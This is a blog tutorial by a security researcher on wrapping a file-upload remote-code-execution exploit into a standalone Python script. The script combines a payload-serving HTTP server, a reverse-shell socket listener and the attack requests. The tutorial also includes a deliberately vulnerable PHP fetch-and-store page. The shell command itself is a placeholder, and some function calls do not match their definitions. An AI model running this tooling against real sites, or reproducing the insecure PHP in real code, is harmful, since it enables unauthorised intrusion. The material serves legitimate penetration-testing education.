Standalone Python Proof of Concept Exploits

(Updated: )

Foreword
Read Time 5 minutes
Goal Learn how to wrap proof of concept exploits in a standalone manner, mixing asynchronous and synchronous tasks.
Audience
IoC
Disclaimer This article is written for educational purposes and is intended only for legal penetration testing and red teaming activities, where explicit permission has been granted. If you wish to test any of the scripts provided, refer to the disclaimer.

Lately I’ve been playing around with fully standalone, zero-to-hero proof of concept exploits in Python. To demonstrate this concept I’ve created a simple vulnerable PHP website which asks the user for an URL (its code is included at the end). It “scans” this endpoint and stores the file in a temporary folder, which also happens to be exposed through the web server. A bad practice, this results in a classic combination of an insecure file upload leading to remote code execution.

In this article we’ll explore how to set up a standalone proof of concept exploit for this fictitious website.

Normally, when creating a proof of concept exploit, a regular workflow would look something like this:

  • Create a webserver and host your payload. This can easily be done by using Apache or a quick and dirty Python server (python3 -m http.server 80). Depending on the setup used, you could also tail the access log to keep track of incoming requests.
  • If allowed in the scope, start a netcat listener for reverse shells.
  • Upload a payload.
  • Fetch the payload.

This approach works fine, but does pose some challenges:

  • The proof of concept can be difficult to reproduce by a client or supplier.
  • You may not have access to required tooling like apache or netcat where you’re trying to run your script.
  • You need work with at least three terminal windows to keep track of everything.

Zero To Hero

To tackle above challenges, I like creating scripts which are fully self-contained. So in the described example, we would need three components, a web server, a TCP listener and the actual exploit code. Before diving into the details, lets look at the final script in action:

Demo of the zero-to-hero poc
No clicking required

Small side note - I’ve been trying to think of an alternative name for zero-to-hero. Any suggestions? Let me know, these are my favorites so far:

  • Ping-to-king
  • Bell-to-shell
  • Troll-to-control
  • Nop-to-top

Step One - Example Exploit

Simple example, simple exploit.

The mock PHP website presents a form in which the user can enter an endpoint. The given endpoint will be “scanned” and the file will be stored to disk. However, these stored files can also have a PHP extension. Oops.

Mock PHP website
Looking very professional..

When translating the above to an attack chain, two requests need to made to the target server:

  • upload_payload: Request a scan of a PHP file hosted by the attacker, storing it on disk and effectively uploading any given file.
  • trigger_payload: Fetch the uploaded file, triggering its contents.

Note that requests is used in this example. This can be replaced with urllib when working without dependencies.


def upload_payload(url, exploit_url, listener_ip, listener_port):
    # Request the remote payload to be scanned.
    data = { 'url': exploit_url }
    requests.post(url, headers={ 'Content-Type': 'application/x-www-form-urlencoded' }, data=data)
    print('[+] Uploaded payload')

def trigger_payload(url, exploit_name):
    # GET the uploaded payload, triggering the shell.
    print('[+] Triggering payload')
    requests.get(f"{url}/scanned/{exploit_name}")

Step Two - The Web Server

To be exploited, the vulnerable function in the PHP website needs to fetch a remote PHP payload served over HTTP. To do so, we create a custom short lived instance of http.server.HTTPServer which has a singular goal, serving our payload to the target machine. After it has done so, we can shut it down.


class PayloadHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        global payload
        """ Generic GET handler. Returns the same response on all get requests. """
        response_content = payload # Payload will be defined globally
        response_bytes = response_content.encode('utf-8')
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain; charset=utf-8')
        self.send_header('Content-Length', str(len(response_bytes)))
        self.end_headers()
        self.wfile.write(response_bytes)

def run_payload_server(ip, port=8000):
    """ Helper function to help run the server in the background """
    global httpd
    httpd = http.server.HTTPServer((ip, port), PayloadHandler)
    print(f'[+] Starting server on port {port}...')
    httpd.serve_forever()

Step Three - The TCP Listener

After uploading the payload, we plan to invoke it. In my example payload I’ve embedded a reverse shell back to our attacker machine, so it needs a TCP listener. Instead of just starting netcat, a TCP listener is created using socket within the script.

The listener:

  1. Sets up a socket and waits for an incoming connection.
  2. Reads chunked data, while data is incoming.
  3. Sends user-supplied data (commands).

Note that this listener works for basic sh shells and may need tweaks depending on the shell used.


def tcp_listener(host='0.0.0.0', port=445):
    sock = socket.socket(); sock.bind((host, port)); sock.listen(1)
    print(f"[+] Listening on {host}:{port}...")
    conn, (conn_ip, conn_port) = sock.accept(); print(f"[+] Connection from {conn_ip}:{conn_port}")
    try:
        while True:
            conn.settimeout(1)
            try:
                chunks = []
                while True:
                    data = conn.recv(1024)
                    if not data: break
                    chunks.append(data.decode())
            except: pass
            print(''.join(chunks), end='')
            cmd = input()
            if cmd == 'exit': break
            conn.send((cmd + '\n').encode())
    except KeyboardInterrupt: print("[!] Ctrl+C pressed. Shutting down")
    except Exception as e: print(f"[!] {e}")
    finally: conn.close(); sock.close()

Putting It Together

To put it all together, we need three things: Import statements, globals and the main function.

The main function glues everything together, walking through the entire exploit chain in order:

  1. Create a PHP payload file. Bring your own payload, I like using the mkfifo shell.
  2. Start run_payload_server in a new thread.
  3. upload_payload: Run the exploit, triggering the download.
  4. Shut down the web server.
  5. Start tcp_listener in a new thread.
  6. trigger_payload: Trigger the payload.
  7. Join the tcp listener thread, so interaction with the shell is possible using input().
import requests, socket, argparse, http.server, threading

httpd = None
payload = None

# <omitted previously defined functions>

# python3 exploit.py --target 'http://127.0.0.1:8000' --http-port 8001 --listener 127.0.0.1 --listener-port 9001
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--target', '-t', help='Target url', required=True)
    parser.add_argument('--http-port', '-H', type=int, help='Http listener port', required=True)
    parser.add_argument('--listener', '-L', help='Reverse shell IP', required=True)
    parser.add_argument('--listener-port', '-P', type=int, help='Reverse shell port', required=True)
    args = parser.parse_args()
    # Create the payload
    shell = f"<YOUR SHELL>" % (args.listener, args.listener_port)
    payload = f"<?php system(\"{shell}\") ?>"
    # Start the web server in the background
    http_thread = threading.Thread(target=run_payload_server, args=(args.listener,args.http_port))
    http_thread.start()
    # Upload the payload and shut down the server
    upload_payload(args.target, f"http://{args.listener}:{args.http_port}/shell.php")
    httpd.shutdown()
    # Create a TCP listener thread and trigger the payload
    listener_thread = threading.Thread(target=tcp_listener, args=(args.listener,args.listener_port))
    listener_thread.start()
    trigger_payload(args.target, "shell.php")
    listener_thread.join()

Combining supporting tools such as a web server and TCP listener with the exploit chain into a standalone file results in a neatly packaged proof of concept. It is easy to share with clients or suppliers and requires minimal setup to reproduce.

The Vulnerable Server

Warning: Never expose this vulnerable code to the internet…

As mentioned the above proof of concept exploit was built for a fictitious vulnerable web site. The PHP code used to set up the site looks something like this:

<?php
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $filename = basename(parse_url($url, PHP_URL_PATH));
    if (!$filename) { $filename = 'downloaded_file'; }
    $content = file_get_contents($url);
    file_put_contents('scanned/' . $filename, $content);
    echo "Scanned: " . htmlspecialchars($filename);
}
?>

<form method="POST">
    Enter URL to fetch: <input type="text" name="url" required>
    <input type="submit" value="Download">
</form>

Written by

Rutger
Rutger

Security researcher

Related Articles

Locking A Reverse Shell With A Certificate-based Challenge

Locking A Reverse Shell With A Certificate-based Challenge

As you may conclude from my post history, I like playing around with reverse shells....

By Rutger on
Vanilla PowerShell Reverse Shell Using SMTP

Vanilla PowerShell Reverse Shell Using SMTP

Lately, as you may have noticed, I’ve been delving into the world of custom PowerShell...

By Rutger on